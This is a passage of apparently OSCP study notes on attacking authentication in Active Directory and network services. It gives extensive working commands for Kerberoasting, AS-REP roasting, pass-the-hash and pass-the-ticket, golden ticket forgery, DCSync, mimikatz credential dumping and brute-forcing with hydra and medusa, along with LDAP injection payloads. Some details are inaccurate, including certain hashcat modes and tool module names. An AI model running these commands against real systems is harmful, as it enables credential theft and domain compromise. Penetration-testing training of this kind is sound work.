python3 GetUserSPNs.py -request -dc-ip 10.10.10.100 corp.local/attacker:Password123
# Method 2: Using rpcclient (if SMB accessible)
rpcclient -U "attacker%Password123" 10.10.10.100 -c "enumdomusers" | while read user; do
rpcclient -U "attacker%Password123" 10.10.10.100 -c "getusrdompwinfo $user"
done
# Method 3: Using BloodHound (Cypher query)
MATCH (n {has_spn:true}) WHERE n.name <> "$" RETURN n.name, n.serviceprincipalname
# Step 2: Request and extract tickets
python3 GetUserSPNs.py -request -dc-ip 10.10.10.100 corp.local/attacker:Password123 -outputfile kerberoasted_hashes.kerbrute
# Step 3: Crack with hashcat
# RC4 hashes (etype 23)
hashcat -m 13100 kerberoasted_hashes.kerbrute /usr/share/wordlists/rockyou.txt -O
# AES128 hashes (etype 17)
hashcat -m 19600 kerberoasted_hashes.kerbrute /usr/share/wordlists/rockyou.txt -O
# AES256 hashes (etype 18)
hashcat -m 19601 kerberoasted_hashes.kerbrute /usr/share/wordlists/rockyou.txt -O
# Step 4: Use cracked credentials
# If service account has local admin on a machine:
psexec.py svc_backup:CrackedPassword@10.10.10.50
# If service account has SQL access:
mssqlclient.py svc_sql:CrackedPassword@10.10.10.60
Hashcat Format Examples:
# RC4 Kerberoast hash format:
$krb5tgs$23$user$realm$spn$...base64data...
# AES256 Kerberoast hash format:
$krb5tgs$18$user$realm$spn$...base64data...
6.4 AS-REP Roasting
Concept: Attacking user accounts that do not require Kerberos pre-authentication by requesting and offline-cracking their AS-REP responses.
Why it works:
- Some accounts are configured with
DONT_REQ_PREAUTHflag - The AS-REP contains data encrypted with the user’s password hash
- The attacker can request this response anonymously and crack it offline
- No valid credentials needed — completely unauthenticated attack
Prerequisites:
- Account with
DONT_REQ_PREAUTHflag set (no pre-authentication required) - The account password must be crackable
How to Identify Vulnerable Accounts:
# Method 1: GetNPUsers.py (Impacket)
python3 GetNPUsers.py -dc-ip 10.10.10.100 corp.local/ -format hashcat -outputfile asrep_hashes.txt
# Method 2: rpcclient
rpcclient -U "" 10.10.10.100 -c "enumdomusers" | while read user; do
rpcclient -U "" 10.10.10.100 -c "getusrdompwinfo $user" | grep -i "preauth not required" && echo "$user"
done
# Method 3: BloodHound
MATCH (n {dont_req_preauth:true}) RETURN n.name
# Method 4: PowerShell (from within domain)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties *
Attack Flow:
┌─────────────────────────────────────────────────────────────────┐
│ AS-REP Roasting Attack Flow │
├─────────────────────────────────────────────────────────────────┤
│ │
│ Step 1: Find accounts without pre-auth │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Enumerate all domain users │ │
│ │ Identify accounts with DONT_REQ_PREAUTH flag │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Step 2: Request AS-REP anonymously │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Send AS-REQ without pre-auth data │ │
│ │ KDC returns AS-REP encrypted with user's password hash │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Step 3: Extract and crack │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Save AS-REP in hashcat format │ │
│ │ Crack offline with hashcat -m 18200 (RC4) or │ │
│ │ -m 19600/19601 (AES) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Step 4: Use cracked password │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Authenticate with cracked credentials │ │
│ │ Escalate to domain access │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────┘
Detailed Commands:
# Request AS-REP and save for cracking
python3 GetNPUsers.py -dc-ip 10.10.10.100 corp.local/ -format hashcat -outputfile asrep_hashes.txt
# Crack RC4 AS-REP hashes
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -O
# Crack AES128 AS-REP hashes
hashcat -m 19600 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -O
# Crack AES256 AS-REP hashes
hashcat -m 19601 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -O
# Alternative: Using kerbrute
kerbrute asreproast -d corp.local users.txt
# After cracking, use the password
psexec.py vulnerable_user:CrackedPassword@10.10.10.100
6.5 LDAP Enumeration and Injection
LDAP Enumeration:
# Anonymous bind (no authentication)
ldapsearch -x -H ldap://10.10.10.100 -b "DC=corp,DC=local"
# Bind with credentials
ldapsearch -x -H ldap://10.10.10.100 -D "CN=admin,CN=Users,DC=corp,DC=local" -w "Password123" -b "DC=corp,DC=local"
# Enumerate users
ldapsearch -x -H ldap://10.10.10.100 -b "CN=Users,DC=corp,DC=local" "(objectClass=user)"
# Enumerate groups
ldapsearch -x -H ldap://10.10.10.100 -b "CN=Users,DC=corp,DC=local" "(objectClass=group)"
# Enumerate computers
ldapsearch -x -H ldap://10.10.10.100 -b "CN=Computers,DC=corp,DC=local" "(objectClass=computer)"
# Get specific attributes
ldapsearch -x -H ldap://10.10.10.100 -b "DC=corp,DC=local" "(sAMAccountName=jdoe)" samAccountName userPrincipalName mail
# LDAPS (encrypted)
ldapsearch -x -H ldaps://10.10.10.100:636 -b "DC=corp,DC=local" "(objectClass=user)"
LDAP Injection:
Concept: Injecting malicious LDAP search filters into user-controlled input to manipulate directory queries.
Vulnerable Code Example:
# VULNERABLE - Direct string concatenation
username = input("Username: ")
password = input("Password: ")
search_filter = f"(&(uid={username})(userPassword={password}))"
# If user inputs: admin)(uid=*))(|(uid=*
# Result: (&(uid=admin)(uid=*))(|(uid=*)(userPassword=anything))
# This matches ALL users!
Common LDAP Injection Payloads:
| Payload | Purpose |
|---|---|
*)(uid=* |
Bypass authentication (match all) |
| `admin)(uid=*))( | (uid=*` |
* |
Wildcard match |
| `)(cn=*))( | (cn=*` |
x' OR '1'='1 |
SQL-style (if LDAP uses SQL backend) |
Testing LDAP Injection:
# Using ldapsearch with crafted filters
ldapsearch -x -H ldap://10.10.10.100 -b "DC=corp,DC=local" ")(uid=*))(|(uid=*"
# Using nmap script
nmap --script ldap-search -p 389 10.10.10.100
# Using Gobuster for LDAP
gobuster dir -u http://10.10.10.100/ldap -w /usr/share/wordlists/dirb/common.txt
6.6 Pass-the-Hash (PtH)
Concept: Authenticating to a remote system using the NTLM hash of a password instead of the plaintext password.
Why it works:
- NTLM authentication uses the NT hash as the cryptographic key
- The actual password is never needed — only the hash
- The hash can be captured from memory (LSASS), SAM database, or other sources
Attack Flow:
┌─────────────────────────────────────────────────────────────────┐
│ Pass-the-Hash Attack Flow │
├─────────────────────────────────────────────────────────────────┤
│ │
│ Step 1: Obtain NTLM Hash │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Methods: │ │
│ │ - Dump LSASS memory (mimikatz, procdump) │ │
│ │ - Extract SAM database (local admin) │ │
│ │ - Capture from network (Responder, Inveigh) │ │
│ │ - Read from registry (SECURITY hive) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Step 2: Use Hash for Authentication │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Pass the hash to authenticate to: │ │
│ │ - SMB shares (smbclient, psexec) │ │
│ │ - WMI (wmic, Invoke-WMI) │ │
│ │ - WinRM (evil-winrm) │ │
│ │ - RDP (with limitations) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Step 3: Lateral Movement │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Use the hash to move laterally across the network │ │
│ │ Domain admin hashes work on ALL domain-joined machines │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────┘
Detailed Commands:
# Method 1: Impacket psexec with hash
python3 psexec.py -hashes :ntlm_hash corp.local/administrator@10.10.10.50
# Method 2: Impacket smbclient with hash
python3 smbclient.py -hashes :ntlm_hash corp.local/administrator@10.10.10.50
# Method 3: Impacket secretsdump (dump more hashes)
python3 secretsdump.py -hashes :ntlm_hash corp.local/administrator@10.10.10.100
# Method 4: CrackMapExec
crackmapexec smb 10.10.10.0/24 -u administrator -H ntlm_hash
# Method 5: Evil-WinRM
evil-winrm -i 10.10.10.50 -u administrator -H ntlm_hash
# Method 6: wmiexec
python3 wmiexec.py -hashes :ntlm_hash corp.local/administrator@10.10.10.50
# Method 7: samrdump (enumerate SAM)
python3 samrdump.py -hashes :ntlm_hash corp.local/administrator@10.10.10.50
Hash Formats:
# LM:NTLM format (LM is often 31d6cfe0d16ae931b73c59d7e0c089e0 = disabled)
31d6cfe0d16ae931b73c59d7e0c089e0:5f4dcc3b5aa765d61d8327deb882cf99
# NTLM only (use :ntlm_hash format in Impacket)
:5f4dcc3b5aa765d61d8327deb882cf99
6.7 Pass-the-Ticket (PtT)
Concept: Using captured Kerberos tickets (TGT or service tickets) to authenticate to services without knowing the password.
Why it works:
- Kerberos tickets are cached in the user’s session
- If an attacker can extract these tickets, they can inject them into their own session
- The KDC cannot distinguish between a legitimate and stolen ticket
Attack Flow:
┌─────────────────────────────────────────────────────────────────┐
│ Pass-the-Ticket Attack Flow │
├─────────────────────────────────────────────────────────────────┤
│ │
│ Step 1: Extract Tickets │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ From compromised host: │ │
│ │ - mimikatz: kerberos::list / kerberos::export │ │
│ │ - Rubeus: Rubeus dump │ │
│ │ - sekurlsa::tickets (mimikatz) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Step 2: Export Tickets │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Export tickets as .kirbi or .krb5ccache files │ │
│ │ Transfer to attacker machine │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Step 3: Inject Tickets │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ On attacker machine: │ │
│ │ - mimikatz: kerberos::ptt ticket.kirbi │ │
│ │ - export KRB5CCNAME=/path/to/ticket.ccache │ │
│ │ - Rubeus: Rubeus ptt /ticket:ticket.kirbi │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Step 4: Access Services │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Use the injected ticket to access: │ │
│ │ - File shares │ │
│ │ - SQL Server │ │
│ │ - Exchange │ │
│ │ - Any service with an SPN │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────┘
Detailed Commands:
# On Windows (using mimikatz)
# List all tickets
mimikatz # kerberos::list
# Export all tickets
mimikatz # kerberos::export /ticket
# Pass-the-Ticket
mimikatz # kerberos::ptt TGT-administrator@corp.local.kirbi
# On Linux (using Impacket)
# Export KRB5CCNAME environment variable
export KRB5CCNAME=/tmp/ticket.ccache
# Use ticket with Impacket tools
python3 psexec.py -k -no-pass corp.local/administrator@10.10.10.50
# Using Rubeus (from within Windows)
Rubeus dump
Rubeus ptt /ticket:TGT-administrator@corp.local.kirbi
# Using ticketer.py to forge tickets (requires krbtgt hash)
python3 ticketer.py -nthash krbtgt_ntlm_hash -domain-sid S-1-5-21-xxx -domain corp.local eviladmin
PtH vs. PtT Comparison:
| Feature | Pass-the-Hash | Pass-the-Ticket |
|---|---|---|
| Protocol | NTLM | Kerberos |
| Credential | NTLM hash | Kerberos ticket (.kirbi/.ccache) |
| RDP Support | No (RDP uses Kerberos) | Yes |
| Detection | Event ID 4768/4769 | Event ID 4768/4769 |
| Tools | Impacket, CrackMapExec | mimikatz, Rubeus, Impacket |
| OSCP Relevance | High | High (especially with AD) |
7. Practical Examples
7.1 Hydra — Brute Force Tool
Syntax:
# Basic syntax
hydra [-l LOGIN|-L FILE] [-p PASS|-P FILE] [-s PORT] [service] [TARGET] [OPTIONS]
# SSH brute force with wordlist
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.100
# SSH brute force with username and password lists
hydra -L users.txt -P passwords.txt ssh://10.10.10.100
# RDP brute force
hydra -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.100
# FTP brute force
hydra -l ftpuser -P /usr/share/wordlists/rockyou.txt ftp://10.10.10.100
# HTTP POST form brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.100 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid"
# HTTP GET brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.100 http-get "/admin/" -f
# SMB brute force
hydra -l administrator -P /usr/share/wordlists/rockyou.txt smb://10.10.10.100
# MySQL brute force
hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://10.10.10.100
# PostgreSQL brute force
hydra -l postgres -P /usr/share/wordlists/rockyou.txt postgres://10.10.10.100
# SNMP brute force
hydra -P /usr/share/wordlists/rockyou.txt snmp://10.10.10.100
# Common options
hydra -t 16 -o results.txt -f -V -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.100
# -t 16 : 16 parallel tasks
# -o : Output file
# -f : Stop at first valid credential
# -V : Verbose mode (show all attempts)
7.2 Medusa — Brute Force Tool
Syntax:
# Basic syntax
medusa -h TARGET -u USERNAME -P WORDLIST -M MODULE [-o OUTPUT] [-O OUTPUT] [-t THREADS]
# SSH brute force
medusa -h 10.10.10.100 -u admin -P /usr/share/wordlists/rockyou.txt -M ssh
# FTP brute force
medusa -h 10.10.10.100 -u ftpuser -P /usr/share/wordlists/rockyou.txt -M ftp
# HTTP form brute force
medusa -h 10.10.10.100 -u admin -P /usr/share/wordlists/rockyou.txt -M http -m /login.php -T 10
# SMB brute force
medusa -h 10.10.10.100 -u administrator -P /usr/share/wordlists/rockyou.txt -M smbnt
# Multiple hosts
medusa -H targets.txt -u admin -P /usr/share/wordlists/rockyou.txt -M ssh -t 10
# Common options
# -h : Target host (or -H for host file)
# -u : Username (or -U for username file)
# -p : Password (or -P for password file)
# -M : Module (service type)
# -t : Number of tasks (threads)
# -o : Output file (successful logins)
# -O : Output file (all attempts)
# -e : Extra options (n=no password, s=use username as password, ns=both)
7.3 Kerbrute — Kerberos Brute Force
Syntax:
# User enumeration
kerbrute userenum -d corp.local --dc 10.10.10.100 users.txt
# Password brute force
kerbrute passwords -d corp.local --dc 10.10.10.100 -users users.txt -passwords passwords.txt
# AS-REP Roasting
kerbrute asreproast -d corp.local --dc 10.10.10.100 users.txt -o asrep_output.txt
# Common options
# -d : Domain name
# --dc : Domain controller IP
# -users : Username file
# -passwords : Password file
# -o : Output file
7.4 Impacket Suite
Key Tools:
# Get NTLM hashes from domain controller
python3 secretsdump.py corp.local/administrator:Password123@10.10.10.100
# Get NTLM hashes using pass-the-hash
python3 secretsdump.py -hashes :ntlm_hash corp.local/administrator@10.10.10.100
# Execute commands via SMB
python3 psexec.py corp.local/administrator:Password123@10.10.10.50
# Execute commands via WMI
python3 wmiexec.py corp.local/administrator:Password123@10.10.10.50
# SMB client
python3 smbclient.py corp.local/administrator:Password123@10.10.10.50
# MSSQL client
python3 mssqlclient.py corp.local/administrator:Password123@10.10.10.60
# Kerberoasting
python3 GetUserSPNs.py -request -dc-ip 10.10.10.100 corp.local/attacker:Password123
# AS-REP Roasting
python3 GetNPUsers.py -dc-ip 10.10.10.100 corp.local/ -format hashcat -outputfile asrep_hashes.txt
# DCSync (domain admin only)
python3 secretsdump.py -just-dc corp.local/administrator:Password123@10.10.10.100
# Ticketer (forge tickets)
python3 ticketer.py -nthash krbtgt_hash -domain-sid S-1-5-21-xxx -domain corp.local eviladmin
# Get user SID
python3 getuserSPNs.py -dc-ip 10.10.10.100 corp.local/attacker:Password123
7.5 Enum4Linux — SMB/NetBIOS Enumeration
Syntax:
# Basic enumeration
enum4linux -a 10.10.10.100
# With authentication
enum4linux -a -u administrator -p Password123 10.10.10.100
# Specific options
enum4linux -U 10.10.10.100 # List users
enum4linux -G 10.10.10.100 # List groups
enum4linux -S 10.10.10.100 # List shares
enum4linux -P 10.10.10.100 # Get password policy
enum4linux -O 10.10.10.100 # Get OS info
7.6 ldapsearch — LDAP Enumeration
Syntax:
# Anonymous bind
ldapsearch -x -H ldap://10.10.10.100 -b "DC=corp,DC=local"
# Authenticated bind
ldapsearch -x -H ldap://10.10.10.100 \
-D "CN=admin,CN=Users,DC=corp,DC=local" \
-w "Password123" \
-b "DC=corp,DC=local"
# Search for users
ldapsearch -x -H ldap://10.10.10.100 \
-b "CN=Users,DC=corp,DC=local" \
"(objectClass=user)" \
sAMAccountName cn mail userPrincipalName
# Search for groups
ldapsearch -x -H ldap://10.10.10.100 \
-b "CN=Users,DC=corp,DC=local" \
"(objectClass=group)"
# Search for computers
ldapsearch -x -H ldap://10.10.10.100 \
-b "CN=Computers,DC=corp,DC=local" \
"(objectClass=computer)"
# LDAPS (encrypted)
ldapsearch -x -H ldaps://10.10.10.100:636 \
-b "DC=corp,DC=local" \
"(objectClass=user)"
# Common options
# -x : Simple authentication (as opposed to SASL)
# -H : LDAP URL (ldap:// or ldaps://)
# -D : Bind DN (distinguished name)
# -w : Password (use -W for prompt)
# -b : Search base DN
# -s : Search scope (base, one, sub)
# -LLL : LDAP output format (no comments)
7.7 Mimikatz — Credential Dumping
Syntax (Windows):
# Load mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
# Dump all credentials
mimikatz # sekurlsa::logonpasswords full
# Dump specific credential types
mimikatz # sekurlsa::wdigest
mimikatz # sekurlsa::kerberos
mimikatz # sekurlsa::tspkg
# Extract TGT
mimikatz # kerberos::list
mimikatz # kerberos::export /ticket
# Pass-the-Ticket
mimikatz # kerberos::ptt TGT-administrator@corp.local.kirbi
# Golden Ticket (requires krbtgt hash)
mimikatz # kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:ntlm_hash /id:500
# Silver Ticket (requires service account hash)
mimikatz # kerberos::silver /user:admin /domain:corp.local /sid:S-1-5-21-xxx /target:dc01.corp.local /service:cifs /rc4:ntlm_hash
# DCSync
mimikatz # lsadump::dcsync /user:corp.local\krbtgt
# SAM extraction (local)
mimikatz # samdump::sam
8. Lab Exercises
8.1 Exercise 1: Set Up a Kerberos Lab
Objective: Build a local Kerberos environment for practice.
Steps:
# On Kali Linux
# 1. Install Kerberos utilities
sudo apt install krb5-user krb5-config
# 2. Configure /etc/krb5.conf
sudo nano /etc/krb5.conf
# Add:
# [libdefaults]
# default_realm = LAB.LOCAL
# dns_lookup_realm = false
# dns_lookup_kdc = false
#
# [realms]
# LAB.LOCAL = {
# kdc = 10.10.10.100
# admin_server = 10.10.10.100
# }
#
# [domain_realm]
# .lab.local = LAB.LOCAL
# lab.local = LAB.LOCAL
# 3. Test kinit
kinit administrator@LAB.LOCAL
# 4. Verify ticket
klist
# 5. Destroy ticket
kdestroy
8.2 Exercise 2: Practice Kerberoasting
Objective: Perform a kerberoasting attack against a target.
Steps:
# 1. Enumerate SPNs
python3 GetUserSPNs.py -dc-ip 10.10.10.100 corp.local/attacker:Password123
# 2. Request and extract tickets
python3 GetUserSPNs.py -request -dc-ip 10.10.10.100 corp.local/attacker:Password123 -outputfile kerberoast.kerbrute
# 3. Analyze the output
cat kerberoast.kerbrute
# 4. Crack with hashcat
hashcat -m 13100 kerberoast.kerbrute /usr/share/wordlists/rockyou.txt -O --pot-file /tmp/hashcat.pot
# 5. Check results
cat /tmp/hashcat.pot
# 6. Use cracked credentials
python3 psexec.py svc_account:cracked_password@10.10.10.50
8.3 Exercise 3: Brute-Force Practice
Objective: Practice brute-forcing various services.
Steps:
# 1. SSH brute force
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.100 -t 4 -f -V
# 2. FTP brute force
hydra -l ftpuser -P /usr/share/wordlists/rockyou.txt ftp://10.10.10.100 -t 4 -f
# 3. RDP brute force (Windows target)
hydra -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.100 -t 2 -f
# 4. HTTP form brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.100 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid" -t 4 -f
# 5. SMB brute force
crackmapexec smb 10.10.10.100 -u administrator -P /usr/share/wordlists/rockyou.txt
8.4 Exercise 4: LDAP Enumeration
Objective: Enumerate an LDAP directory.
Steps:
# 1. Check if LDAP is open
nmap -p 389,636 10.10.10.100
# 2. Anonymous bind attempt
ldapsearch -x -H ldap://10.10.10.100 -b "DC=corp,DC=local" "(objectClass=*)"
# 3. If anonymous bind works, enumerate users
ldapsearch -x -H ldap://10.10.10.100 -b "CN=Users,DC=corp,DC=local" "(objectClass=user)" sAMAccountName
# 4. Enumerate groups
ldapsearch -x -H ldap://10.10.10.100 -b "CN=Users,DC=corp,DC=local" "(objectClass=group)"
# 5. Try to extract password hashes (if vulnerable)
ldapsearch -x -H ldap://10.10.10.100 -b "DC=corp,DC=local" "(objectClass=user)" unicodePwd
# 6. Use nmap script
nmap --script ldap-search -p 389 10.10.10.100
8.5 Exercise 5: Pass-the-Hash Practice
Objective: Practice pass-the-hash attacks.
Steps:
# 1. Obtain a hash (from previous exploitation or dumping)
# Example hash: 5f4dcc3b5aa765d61d8327deb882cf99
# 2. Use psexec with hash
python3 psexec.py -hashes :5f4dcc3b5aa765d61d8327deb882cf99 corp.local/administrator@10.10.10.50
# 3. Use smbclient with hash
python3 smbclient.py -hashes :5f4dcc3b5aa765d61d8327deb882cf99 corp.local/administrator@10.10.10.50
# 4. Enumerate with CrackMapExec
crackmapexec smb 10.10.10.0/24 -u administrator -H 5f4dcc3b5aa765d61d8327deb882cf99
# 5. Dump more hashes
python3 secretsdump.py -hashes :5f4dcc3b5aa765d61d8327deb882cf99 corp.local/administrator@10.10.10.100
9. Key Tools
| Tool | Category | Description | Primary Use |
|---|---|---|---|
| hydra | Brute Force | Network logon cracker | Brute-force SSH, RDP, FTP, HTTP, SMB, etc. |
| medusa | Brute Force | Parallelized login cracker | Alternative to hydra, modular design |
| kerbrute | Kerberos | Kerberos brute force tool | User enum, password spray, AS-REP roasting |
| GetUserSPNs.py | Kerberos | Impacket tool | Kerberoasting — request and extract service tickets |
| GetNPUsers.py | Kerberos | Impacket tool | AS-REP Roasting — find accounts without pre-auth |
| secretsdump.py | Credential Dumping | Impacket tool | Dump hashes via DCSync, SAM, LSASS |
| psexec.py | Lateral Movement | Impacket tool | Remote command execution via SMB |
| wmiexec.py | Lateral Movement | Impacket tool | Remote command execution via WMI |
| smbclient.py | SMB | Impacket tool | SMB client with auth support |
| ticketer.py | Ticket Forging | Impacket tool | Forge Kerberos tickets (Golden/Silver) |
| enum4linux | Enumeration | SMB/NetBIOS enum | Enumerate users, groups, shares, policies |
| ldapsearch | LDAP | OpenLDAP utility | LDAP directory enumeration |
| mimikatz | Credential Dumping | Windows tool | Dump credentials, Kerberos tickets, DCSync |
| Rubeus | Kerberos | .NET tool | Kerberos ticket manipulation, PtT |
| hashcat | Password Cracking | GPU-accelerated cracker | Crack Kerberos hashes, NTLM, etc. |
| John the Ripper | Password Cracking | CPU-based cracker | Alternative to hashcat |
| CrackMapExec | Post-Exploitation | Network pentesting framework | SMB/WMI/WinRM enumeration and exploitation |
| Responder | LLMNR/NBT-NS | Poisoning tool | Capture NTLM hashes via LLMNR/NBT-NS poisoning |
| Inveigh | LLMNR/mDNS | PowerShell tool | Alternative to Responder |
Tool Quick Reference
┌─────────────────────────────────────────────────────────────────────────────┐
│ AAA Attack Tool Quick Reference │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ BRUTE FORCE │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ hydra -l user -P wordlist.txt service://target │ │
│ │ medusa -h target -u user -P wordlist.txt -M module │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │
│ KERBEROS ATTACKS │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ Kerberoasting: GetUserSPNs.py -request domain/user:pass │ │
│ │ AS-REP Roast: GetNPUsers.py domain/ -format hashcat │ │
│ │ User Enum: kerbrute userenum -d domain --dc dc_ip users.txt │ │
│ │ Password Spray: kerbrute passwords -d domain -users u.txt -p p.txt │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │
│ CREDENTIAL DUMPING │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ DCSync: secretsdump.py -just-dc domain/admin:pass@dc │ │
│ │ SAM Dump: secretsdump.py domain/admin:pass@target │ │
│ │ PtH: psexec.py -hashes :ntlm_hash domain/admin@target │ │
│ │ PtT: export KRB5CCNAME=ticket.ccache; psexec.py -k -no-pass │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │
│ LDAP ENUMERATION │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ ldapsearch -x -H ldap://target -b "DC=x,DC=y" "(objectClass=user)" │ │
│ │ nmap --script ldap-search -p 389 target │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │
│ HASH CRACKING │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ NTLM: hashcat -m 1000 hash.txt wordlist.txt │ │
│ │ Kerberoast: hashcat -m 13100 hash.txt wordlist.txt (RC4) │ │
│ │ AS-REP: hashcat -m 18200 hash.txt wordlist.txt (RC4) │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
10. Exam Tips
10.1 General AAA Tips
-
Always enumerate authentication mechanisms first: Before attacking, identify what services are running and what authentication methods they use.
-
Check for default credentials: Many OSCP boxes have services with default credentials (admin/admin, root/root, etc.).
-
Look for cleartext protocols: Telnet (23), FTP (21), HTTP (80), LDAP (389) transmit credentials in cleartext. Capture and analyze traffic.
-
Wordlist selection matters: Start with
rockyou.txt. If that fails, try custom wordlists based on enumeration findings (company name, usernames, etc.). -
Rate limiting: Use appropriate thread counts. Too many threads can trigger account lockouts or get you blocked.
10.2 Kerberos-Specific Tips
-
Always check for AS-REP Roasting first: It requires no credentials and can give you domain access.
-
Kerberoasting is your friend: Any authenticated user can perform kerberoasting. Service accounts often have weak passwords.
-
Note the encryption type: RC4 (etype 23) is easier to crack than AES. If only AES is available, you may need a stronger wordlist or GPU cracking.
-
Check for SPN delegation: Constrained delegation can be abused for lateral movement.
-
Kerberos ticket lifetime: Default TGT lifetime is 10 hours. Plan your attacks accordingly.
10.3 Active Directory Tips
-
Start with enumeration: Use
enum4linux,rpcclient, andCrackMapExecto gather information before attacking. -
Look for misconfigured accounts: Accounts without pre-auth, accounts with SPNs, accounts with delegation rights.
-
Credential dumping is key: Once you have a foothold, dump credentials immediately (mimikatz, secretsdump).
-
Pass-the-hash works on SMB: If you have an NTLM hash, you can authenticate to SMB shares and execute commands.
-
Domain admin = game over: If you compromise a domain admin account, you can access all domain-joined machines.
10.4 Common OSCP AAA Scenarios
| Scenario | Detection Method | Attack Tool | Expected Outcome |
|---|---|---|---|
| Weak SSH password | nmap -p 22 |
hydra / medusa | SSH access |
| Weak RDP password | nmap -p 3389 |
hydra | RDP access |
| Default FTP creds | nmap -p 21 |
hydra / manual | FTP access |
| Kerberoasting | SPN enumeration | GetUserSPNs.py + hashcat | Service account password |
| AS-REP Roasting | Pre-auth check | GetNPUsers.py + hashcat | User password |
| LDAP anonymous bind | ldapsearch -x |
ldapsearch | Directory enumeration |
| SMB weak password | nmap -p 445 |
CrackMapExec / hydra | SMB access |
| Web form brute force | Directory busting | hydra / Burp Suite | Web admin access |
| Pass-the-hash | Credential dump | Impacket psexec | Remote execution |
10.5 Time Management Tips
-
Don’t spend too long on brute-force: If
rockyou.txtdoesn’t work within a reasonable time, move on. Come back later. -
Prioritize low-hanging fruit: Default credentials, cleartext protocols, and misconfigurations are faster than brute-force.
-
Document everything: Keep notes on all credentials found. They may be useful for other boxes.
-
Use automation wisely: Tools like CrackMapExec can check multiple hosts quickly.
11. Cross-References
Related Topics
| Topic | Relationship |
|---|---|
| Windows Privilege Escalation | AAA misconfigurations lead to privilege escalation (Sudo, scheduled tasks, services) |
| Active Directory Attacks | Kerberos, LDAP, and credential dumping are core AD attack vectors |
| Password Attacks | Brute-force, dictionary attacks, and hash cracking are password attack techniques |
| Linux Privilege Escalation | Sudo misconfigurations, SSH key abuse, and cron job exploitation |
| Network Enumeration | Service discovery identifies authentication targets |
| Post-Exploitation | Credential dumping and lateral movement use AAA attacks |
| Web Application Security | Authentication bypass, session hijacking, and CSRF |
Attack Chain Integration
┌─────────────────────────────────────────────────────────────────────────────┐
│ AAA Attack Chain in OSCP │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Reconnaissance │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ nmap → Identify services (SSH, RDP, SMB, LDAP, Kerberos) │ │
│ │ enum4linux → Enumerate SMB/NetBIOS │ │
│ │ ldapsearch → Enumerate LDAP │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Initial Access │ │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ hydra/medusa → Brute-force services │ │
│ │ kerbrute → Kerberos user enum / password spray │ │
│ │ Default credentials → Quick wins │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Credential Access │ │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ mimikatz → Dump LSASS credentials │ │
│ │ secretsdump.py → DCSync / SAM dump │ │
│ │ GetUserSPNs.py → Kerberoasting │ │
│ │ GetNPUsers.py → AS-REP Roasting │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Lateral Movement │ │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ psexec.py → Remote execution (password/hash) │ │
│ │ wmiexec.py → Remote execution (WMI) │ │
│ │ CrackMapExec → Multi-host exploitation │ │
│ │ Pass-the-Ticket → Kerberos ticket reuse │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
